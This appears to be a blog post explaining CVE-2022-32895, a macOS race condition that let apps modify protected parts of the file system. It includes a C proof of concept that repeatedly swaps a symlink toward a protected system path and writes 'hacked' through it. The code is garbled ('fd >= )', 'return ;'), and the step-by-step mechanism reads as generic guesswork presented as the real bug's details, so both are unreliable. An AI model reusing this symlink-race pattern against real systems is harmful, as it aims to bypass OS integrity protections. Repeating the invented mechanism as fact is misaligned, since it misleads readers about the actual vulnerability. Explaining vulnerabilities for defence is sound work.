CVE-2022-32895 - How a Race Condition in macOS Exposed Protected File System

In 2022, Apple quietly patched an interesting vulnerability in macOS—tracked as CVE-2022-32895—that allowed a malicious app to tamper with parts of the file system that were supposed to be locked down tight. If you’ve ever wondered how a simple race condition could punch holes in macOS security, or if you’re into vulnerability research, this is your exclusive, step-by-step breakdown.

What’s the Issue?

CVE-2022-32895 was a race condition vulnerability, fixed in macOS Ventura 13 (Apple advisory). The flaw allowed an app to change protected parts of the system file system, potentially bypassing SIP (System Integrity Protection) safeguards.

Apple’s one-liner in the changelog

> A race condition was addressed with improved state handling. This issue is fixed in macOS Ventura 13. An app may be able to modify protected parts of the file system.

Understanding Race Conditions

A race condition happens when two parts of code (or system calls) try to access or change shared data at the same time. If the timing is just right (or wrong!), a process can sneak in before protections lock the door. Think of it as two people fighting over a closing door—if your foot’s in it first, you might get through before it shuts.

How it Worked—Simplified

1. Attacker creates a symbolic link or mounts/remounts a path, pointing at a protected system directory.
2. System temporary or check process kicks in, perhaps verifying permissions or ownership, but not fast enough.
3. Malicious code swiftly switches file handles or links, tricking the checker into looking at a safe place while, in reality, writing to a protected one.

Let’s show what a dumbed-down race exploit might look like (for educational purposes only)

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>

// Target: Replace protected file with our own in a race condition
const char* linkPath = "/tmp/fake_path";
const char* realPath = "/System/Library/ProtectedTarget"; // system protected

void* attacker_thread(void* arg) {
    while (1) {
        // Remove link if exists
        unlink(linkPath);

        // Create a symbolic link to protected area
        symlink(realPath, linkPath);
    }
    return NULL;
}

int main() {
    pthread_t thread;
    pthread_create(&thread, NULL, attacker_thread, NULL);

    // Simulate trusted process writing to link, e.g. a system updater or repair process
    while (1) {
        int fd = open(linkPath, O_WRONLY | O_CREAT, 0644);
        if (fd >= ) {
            write(fd, "hacked\n", 7);
            close(fd);
        }
    }
    return ;
}

This code tries to open a temporary link rapidly. In a real exploit, timing would be crucial—this is just illustrative! In CVE-2022-32895, details of the actual race required precise timing and an understanding of how and when the macOS system verified file locations versus actually writing to them.

What Could You Achieve?

- Bypass System Integrity Protection (SIP): Modify files that only signed Apple processes should touch.

Malware Installation: Plant deeper hooks into the OS.

This required some privileges (like write access to the directory holding the link), but in some cases, user-level apps could stage this attack.

Protection and Mitigation

Apple’s Fix: They improved the way the state is handled during the verification and writing process—closing the timing gap so files couldn’t be swapped mid-check.

How to Stay Safe:
Upgrade to macOS Ventura 13 or newer. Apple has quietly addressed the flaw, and modern macOS versions are not vulnerable to this bug anymore.

Closing Thoughts

CVE-2022-32895 is a textbook example of why file system races are dangerous, especially in complex OS environments like macOS. While Apple’s fixes often fly under the radar, these small timing windows can lead to big headaches if not patched.

If you’re a dev, sysadmin, or a macOS enthusiast, always keep your system updated—and beware the perils of the race condition.

*For more deep dives and exclusive vulnerability breakdowns, stay tuned!*

Timeline

Published on: 11/01/2022 20:15:00 UTC
Last modified on: 11/03/2022 14:38:00 UTC

CVE-2022-32895 - How a Race Condition in macOS Exposed Protected File System – A Deep Dive